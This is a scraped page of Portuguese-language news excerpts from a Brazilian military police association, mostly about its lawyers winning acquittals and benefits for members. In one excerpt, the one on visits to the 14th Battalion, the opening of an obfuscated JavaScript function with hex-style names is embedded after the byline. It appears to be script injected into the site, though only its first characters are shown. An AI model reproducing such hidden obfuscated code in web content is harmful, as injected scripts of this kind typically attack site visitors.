Notícias – Página: 88

out22019 by Assessoria de Imprensa da ACS1 Comment

Trabalho do Jurídico: Justiça obriga Estado a pagar aposentadoria integral a associado

A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) conseguiu, nesta quarta-feira (02), uma decisão favorável em processo judicial de revisão de aposentadoria. Conforme o advogado responsável pela ação, o associado sofreu acidente de trânsito quando retornava para sua casa depois do serviço. À época, foi reconhecido o acidente em serviço e o policial foi reformado com proventos integrais. Contudo, quatro anos depois, a administração pública revogou tal decisão e passou a pagar ao policial proventos proporcionais. Após a tramitação do processo, foi reconhecido pelo juiz da 3ª Vara de Fazenda Pública que o acidente ocorreu em serviço, e ao final determinou o pagamento do servidor com proventos integrais, devendo o E...

out12019 by Assessoria de Imprensa da ACSNo Comments

Jurídico da ACS consegue absolvição de sócio que havia sido condenado em primeira instância por estelionato

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A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) garantiu a absolvição de um associado que havia sido condenado, em primeira instância, a dois anos de reclusão, em regime aberto, pelo crime de estelionato. Conforme a denúncia do MPE (Ministério Público Estadual), o policial haveria registrado um boletim de ocorrência de trânsito sobre um suposto acidente envolvendo sua esposa. ““Tal falso foi feito no intuito de auferir, indevidamente, apólice do seguro automotivo em favor de terceiro, que assegurava o caminhão, tal valor assecuratório pago por uma seguradora”, alegou o MP. Ele foi condenado em primeira instância, no entanto, a 2ª Câmara Criminal do TJMS (Tribunal de Justiça de Mato Grosso do Sul) reformou a sen...

out12019 by Assessoria de Imprensa da ACSNo Comments

ACS realiza visitas e leva atendimento psicológico a unidades do 14º Batalhão

Ação ACS, Notícias

Uma comitiva formada por integrantes das diretorias da Capital e da Regional de Fátima do Sul percorreu, neste início de semana, as unidades da região do 14º BPM (Batalhão de Polícia Militar), de Fátima do Sul, para dialogar e ouvir os associados. Segundo o presidente da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), cabo Mario Sérgio Couto, a viagem serviu também para realizar o atendimento psicológico a mais de 10 associados e dependentes na área. Além de Couto, participaram das visitas o vice-presidente da entidade, Aparecido Lima da Rocha, e o diretor Regional de Fátima do Sul, Wylliam Marques de Carvalho. Jeozadaque Garcia Assessoria de Imprensa da ACS function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0...

set302019 by Assessoria de Imprensa da ACSNo Comments

Assessoria jurídica: importante serviço da ACS garantido ao sócio

Ação ACS, Notícias

A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) é um dos mais importantes serviços assegurados à categoria e tem desempenhado um papel fundamental na representação dos sócios perante o Poder Judiciário. São centenas de processo sob os cuidados dos advogados Edmar Soares da Silva, Silwalter Hagner Cano da Silva e Deiwes William Bosson Silva. Além da orientação do ponto de vista legal nas atividades e procedimentos internos da entidade, eles prestam assessoria aos sócios que enfrentam problemas legais e precisam de orientação ou amparo judicial. Os advogados da ACS atuam nas áreas penal militar, penal comum, direito de família, direitos individuais e coletivos, administrativo e civil. São eles, por exemplo, que ...

set262019 by Assessoria de Imprensa da ACSNo Comments

ACS acompanha policiais investigados no âmbito da Operação Ave Maria

Destaques, Notícias

A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) vai acompanhar e, se necessário, prestar auxílio aos policiais investigados no âmbito da Operação Ave Maria, deflagrada pela Corregedoria da Polícia Militar, na manhã desta quinta-feira (26). A determinação partiu do presidente da entidade, cabo Mario Sérgio Couto. “Nós, enquanto representantes de classe, não aceitamos que alguns jornais generalizem a instituição como corrupta. Os policiais presos têm direito ao contraditório e a ampla defesa, e nossa assessoria jurídica irá acompanhar de perto”, afirmou. A ação é realizada contra suspeitos de corrupção e cumpre 13 mandados, sendo sete de busca e apreensão e seis de prisão preventiva. Todos foram cumpridos em Sidr...

set202019 by Assessoria de Imprensa da ACSNo Comments

Jurídico da ACS consegue absolvição de sócio denunciado por desobediência

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Um associado que havia sido denunciado pelo crime de desobediência foi absolvido, nesta quinta-feira (19), pela Justiça Militar, em mais um trabalho conjunto realizado pela assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul). Conforme a defesa, a sustentação oral realizada foi fundamental para o convencimento dos juízes, culminando com a absolvição do associado. “A profissão policial militar é uma das mais exigentes das funções públicas, bem como a mais fiscalizada. Pesa contra o profissional militar as mais diversas legislações”, diz a defesa. “O Direito Penal Militar, RDPM e o Direito Penal Comum exigem dos defensores um maior cuidado e zelo quando no exercício da defesa no combate a eventual risco de injustiça que...

set202019 by Assessoria de Imprensa da ACSNo Comments

Com temperaturas acima dos 30ºC, Clube de Campo da ACS é ótima opção de lazer

Destaques, Notícias

Driblar o calor de mais de 30º que tem feito nos últimos dias não tem sido fácil. E, por isso, balneários e clubes têm sido uma opção bastante interessante para os sul-mato-grossenses. Além do tereré, uma boa opção é o Clube de Campo da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), localizado às margens da BR-163, na saída de Campo Grande para São Paulo (SP). Adquirida em 2012, a área, de 3,5 hectares, conta com piscinas, salão de festas, quiosques, playground e alojamentos, que também servem como extensão do Hotel de Trânsito. Trata-se, por isso, de um espaço de lazer e integração da família policial militar. A atual administração fechou as portas do clube para melhorias durante um mês. Agora, o espaço conta com um Regulamento Int...

set172019 by Assessoria de Imprensa da ACSNo Comments

Justiça absolve associado acusado de violação de domicílio e concussão

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Um policial militar que havia sido acusado da prática dos crimes de violação de domicílio e concussão foi absolvido pela Justiça após atuação da assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul). Conforme a denúncia do MPE (Ministério Público Estadual), uma guarnição teria entrado sem autorização na residência de um casal e, em razão da função, exigido vantagem indevida. Conforme o juízo, “conquanto as provas coligidas nos autos demonstrem materialidade, não é possível extrair a autoria delitiva, porquanto as testemunhas não reconheceram os acusados como autores dos delitos”. “Portanto, das provas coligidas nos autos, é possível concluir que há dúvida objetiva e razoável acerca dos autores dos crimes, razão pela q...

set172019 by Assessoria de Imprensa da ACSNo Comments

Sócio que respondia por porte ilegal de munição de uso restrito é absolvido na Justiça

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A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) conseguiu a absolvição de um policial militar que respondia pelo crime de porte ilegal de munição de uso restrito. Conforme a denúncia do MPE (Ministério Público Estadual), o sócio foi flagrado, mantendo sob sua guarda, nove munições de uso restrito, sem autorização e em desacordo com a regulamentação legal, “mesmo ciente da reprovabilidade de sua conduta”. Durante o processo, ele admitiu a compra das munições para treinamento pessoal. A Justiça acatou a tese da defesa, que sustentou não haver ofensividade na conduta, já que “a apreensão de cinco munições na gaveta do quarto do acusado não é capaz de lesionar ou mesmo ameaçar o bem jurídico tutelado”. Por isso, a...

set162019 by Assessoria de Imprensa da ACSNo Comments

Jurídico da ACS garante liberdade para associado responder por acusação de tentativa de homicídio

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A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) conseguiu, na última semana, que um associado respondesse por tentativa de homicídio em liberdade. Segundo a defesa, o policial militar foi preso em flagrante, que, mais tarde, foi convertido em prisão preventiva pelo juiz de plantão. O jurídico, em um trabalho conjunto, colocaram o policial em liberdade após pedido interposto junto a Vara do Tribunal do Júri. A liberdade provisória é um direito que assiste a todo cidadão que é primário, tem bons antecedentes e trabalho lícito. “Temos realizado em conjunto um trabalho de atendimento ao associado na busca por resultados positivos. E, neste modelo de atuação, enquanto um advogado atende a prisão em flagrante e audi...